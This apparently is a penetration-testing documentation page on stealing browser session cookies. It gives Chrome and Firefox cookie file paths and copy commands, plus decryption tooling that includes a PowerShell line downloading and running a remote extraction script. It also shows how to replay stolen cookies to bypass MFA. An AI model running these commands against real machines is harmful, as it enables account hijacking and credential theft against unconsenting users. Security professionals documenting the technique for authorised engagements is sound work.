> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Browser Cookies Attacks

A session cookie is often worth more than a password, it skips authentication entirely, including MFA, since the session is already established. Once you have local access (or a foothold via malware/C2), pulling cookies straight from the browser's profile and replaying them in your own browser ("pass the cookie") is frequently faster than any credential-based attack.

> **Local Extraction**
>
> Pulling cookies directly from disk on a compromised host, decrypting them, then reusing them yourself. Needs local/C2 access to the target machine.

> **Pass the Cookie**
>
> Once extracted and decrypted, importing the cookie into your own browser session, no credentials needed, the app just sees an already-authenticated session.

> [!WARNING]
>
> Cookie theft bypasses MFA entirely, the session was already authenticated before you got involved. This makes it one of the highest-impact credential-adjacent attacks on an engagement, but also one of the most sensitive to use outside of explicit scope.

***

## Cookie Storage Locations

Both major browsers store cookies in a SQLite database inside the user's profile folder, worth checking both since users often have more than one browser installed.

```text theme={null}
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
%APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release\cookies.sqlite
```

> [!NOTE]
>
> Chromium-based browsers (Edge, Brave) use the same Chrome profile structure under their own `%LOCALAPPDATA%` path, worth checking if Chrome itself comes up empty.

***

## Manual Extraction

Copying the SQLite file off the live profile while the browser is running usually works even though the file is technically locked, most extraction tools (including the ones below) use a lockless read rather than requiring the browser to be closed.

```text theme={null}
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
```

> [!TIP]
>
> Firefox cookies in `cookies.sqlite` are stored in plaintext, no decryption step needed once you have the file. Chrome's cookies database, by contrast, stores encrypted values that need a separate decryption step (see below), the raw SQLite file alone isn't usable.

***

## Chrome/Chromium Decryption

Chrome cookie values are AES-encrypted with a key that itself is DPAPI-protected, so extracting Chrome cookies is really a two-step process: get the key, then decrypt.

**SharpChromium** (part of the SharpCollection/PowerSharpPack toolset) automates both steps in one command, decrypting the key via DPAPI in the current user's context and using it to decrypt the cookies database directly.

```text theme={null}
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')
Invoke-SharpChromium -Command "cookies slack.com"
```

**SharpChrome** (SharpDPAPI's Chrome-specific mode) does the same thing with more flexibility around which DPAPI key to use, useful when you have a masterkey from Mimikatz rather than running in the live user's own session.

```text theme={null}
SharpChrome cookies
SharpChrome cookies /password:PASSWORD
SharpChrome cookies /masterkey:GUID:SHA1_KEY
```

***

## Firefox Decryption

Firefox cookies themselves aren't encrypted (see the Tip above), but saved passwords and the profile's `key4.db` are, worth knowing the distinction if you're after more than just cookies.

**firefox\_decrypt** is the standard tool for pulling saved logins out of a Firefox profile, useful alongside a raw cookie grab to get a fuller credential picture from the same machine.

```text theme={null}
python3 firefox_decrypt.py /path/to/firefox/profile
```

***

## Pass the Cookie

Once you have a decrypted cookie value, getting it into your own browser is the easy part, any cookie-editing browser extension (EditThisCookie, Cookie-Editor) lets you paste in the name/value/domain and the site treats you as that already-logged-in user.

> [!TIP]
>
> Burp Suite's own cookie jar (Project options → Sessions) works just as well for replaying a stolen cookie against an API or site through Burp's proxy, useful when you want to keep testing through Burp rather than switching to a separate browser profile.

> [!WARNING]
>
> A stolen cookie is usually tied to the originating IP/user-agent by some applications' anti-hijacking checks, and most session cookies have a limited lifetime or get invalidated on password change. Test and use stolen cookies promptly, and expect some targets to detect the IP change outright.

***

## Quick Reference Tools

> **[SharpChromium / PowerSharpPack](https://github.com/S3cur3Th1sSh1t/PowerSharpPack)**
>
> In-memory Chrome cookie/credential extraction via PowerShell.

> **[SharpDPAPI (SharpChrome)](https://github.com/GhostPack/SharpDPAPI)**
>
> More flexible DPAPI-based Chrome cookie decryption, supports Mimikatz masterkeys.

> **[firefox\_decrypt](https://github.com/unode/firefox_decrypt)**
>
> Decrypts saved Firefox logins (cookies themselves need no decryption).

> **[Cookie-Editor](https://cookie-editor.com/)**
>
> Browser extension for manually pasting in a stolen cookie.

> [!WARNING]
>
> Cookie theft is credential theft, and a stolen session can act on behalf of a real user with no further authentication required. Confirm explicit scope before extracting, decrypting, or replaying anyone's session cookies.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.